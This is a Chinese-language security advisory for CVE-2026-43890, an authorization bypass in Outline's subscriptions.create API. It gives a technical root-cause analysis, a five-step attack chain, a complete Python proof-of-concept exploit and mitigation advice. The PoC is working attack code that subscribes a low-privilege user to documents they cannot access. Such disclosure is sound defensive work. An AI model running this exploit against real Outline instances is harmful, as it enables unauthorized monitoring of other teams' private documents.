IPBUF安全漏洞报告
English
CVE-2026-43890 CVSS 7.7 高危

CVE-2026-43890 Outline服务订阅创建接口权限绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43890
漏洞类型
权限绕过
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Outline

相关标签

权限绕过OutlineAPI安全访问控制失效CWE-285CVE-2026-43890

漏洞概述

Outline是一款允许进行协作文档编写的服务。在0.84.0至1.7.0版本中,其服务器端`server/routes/api/subscriptions/subscriptions.ts`文件的`subscriptions.create` API端点存在严重的权限绕过漏洞。该漏洞的根源在于授权逻辑的不一致性。当API请求同时包含`collectionId`和`documentId`参数时,路由处理器的授权逻辑仅对`collectionId`进行了权限检查,而完全忽略了`documentId`的验证。然而,实际执行订阅创建的底层命令`subscriptionCreator`却使用了未经验证的`documentId`来写入订阅记录。这种逻辑缺陷使得经过身份验证的低权限攻击者可以通过发送特制的请求,将自己的用户订阅到其本无权访问的受害文档。攻击者无需用户交互即可利用此漏洞,导致实例中任何团队的敏感文档信息可能被非法订阅和监控。该漏洞在CVSS v3.1中的评分为7.7,属于高危漏洞,目前已在Outline 1.7.1版本中修复。

技术细节

该漏洞的技术细节集中在Outline服务端对于订阅请求的处理流程上,涉及文件包括`server/routes/api/subscriptions/subscriptions.ts`(路由层)、`server/routes/api/subscriptions/schema.ts`(模式层)以及`server/commands/subscriptionCreator.ts`(命令层)。

首先,在Schema验证层面,`schema.ts`仅使用`.refine()`方法强制要求请求体中至少包含`collectionId`或`documentId`中的一个,但并未强制这两个参数的互斥性。因此,从数据结构角度看,同时提交这两个参数是符合Schema定义的合法请求。

其次,在路由处理层面,代码逻辑存在严重的授权绕过。当请求到达路由处理器时,代码检查了`if (collectionId)`,如果该参数存在,则仅对`collectionId`所指向的集合进行权限验证。由于攻击者通常对自己所在的某个集合拥有访问权限,这一步验证通常会通过,而此时`documentId`虽然存在于请求中,却未被任何授权逻辑触碰。

最后,问题出在命令执行层面。`subscriptionCreator`命令在创建订阅记录时,直接读取请求中的`documentId`参数并将其用于数据库写入操作。由于`documentId`从未经过任何权限校验,攻击者可以将`collectionId`设置为自己有权限的ID,将`documentId`设置为目标受害文档的ID。

攻击者利用这种逻辑不一致性,成功欺骗服务器创建了针对受限文档的订阅记录。虽然这不一定直接赋予文档内容的读取权限,但违反了访问控制原则,可能导致信息泄露(如文档的存在性、更新通知等),属于典型的CWE-285(不正确的授权)漏洞。

攻击链分析

STEP 1
侦察
攻击者获取Outline实例的访问权限,并确定一个自己拥有访问权限的集合ID(collectionId)以及一个想要订阅但无权访问的目标文档ID(documentId)。
STEP 2
构造恶意请求
攻击者构造一个向`/api/subscriptions.create`端点发送的POST请求,请求体中同时包含合法的`collectionId`和非法的`documentId`。
STEP 3
绕过权限验证
服务器端路由处理器接收到请求后,检测到`collectionId`存在,仅对该集合进行权限验证。由于攻击者拥有该集合权限,验证通过。
STEP 4
利用逻辑缺陷
验证通过后,请求传递给`subscriptionCreator`命令。该命令直接使用未经验证的`documentId`创建订阅记录。
STEP 5
达成攻击效果
数据库中创建了将攻击者与受害文档关联的订阅记录,攻击者开始接收该文档的更新通知,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit Title: Outline 0.84.0 - 1.7.0 - Authorization Bypass in subscriptions.create # Date: 2026-05-11 # Exploit Author: Analyst # Vendor Homepage: https://www.getoutline.com # Software Link: https://github.com/outline/outline # Version: 0.84.0 - 1.7.0 # CVE: CVE-2026-43890 def exploit_outline(target_url, attacker_token, attacker_collection_id, victim_document_id): """ Exploits the broken authorization pattern in Outline subscriptions.create API. :param target_url: Base URL of the Outline instance (e.g., https://docs.example.com) :param attacker_token: Valid API token or session cookie for the attacker :param attacker_collection_id: A collection ID the attacker has access to :param victim_document_id: The document ID the attacker wants to subscribe to (unauthorized) """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {attacker_token}" # Adjust auth method based on config } # The payload includes both collectionId (authorized) and documentId (unauthorized) # The server validates collectionId but writes subscription for documentId payload = { "collectionId": attacker_collection_id, "documentId": victim_document_id, "event": "documents.update" } endpoint = f"{target_url}/api/subscriptions.create" try: response = requests.post(endpoint, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Subscription created for unauthorized document.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Example usage TARGET = "http://localhost:3000" TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." ATTACKER_COLL_ID = "valid_collection_uuid_here" VICTIM_DOC_ID = "secret_document_uuid_here" exploit_outline(TARGET, TOKEN, ATTACKER_COLL_ID, VICTIM_DOC_ID)

影响范围

Outline 0.84.0 - 1.7.0

防御指南

临时缓解措施
如果无法立即升级,建议在应用层防火墙(WAF)中配置规则,拦截同时包含`collectionId`和`documentId`参数的`/api/subscriptions.create`请求,或者暂时限制该API接口的访问权限,仅允许受信任的IP地址调用,直到补丁应用完毕。

参考链接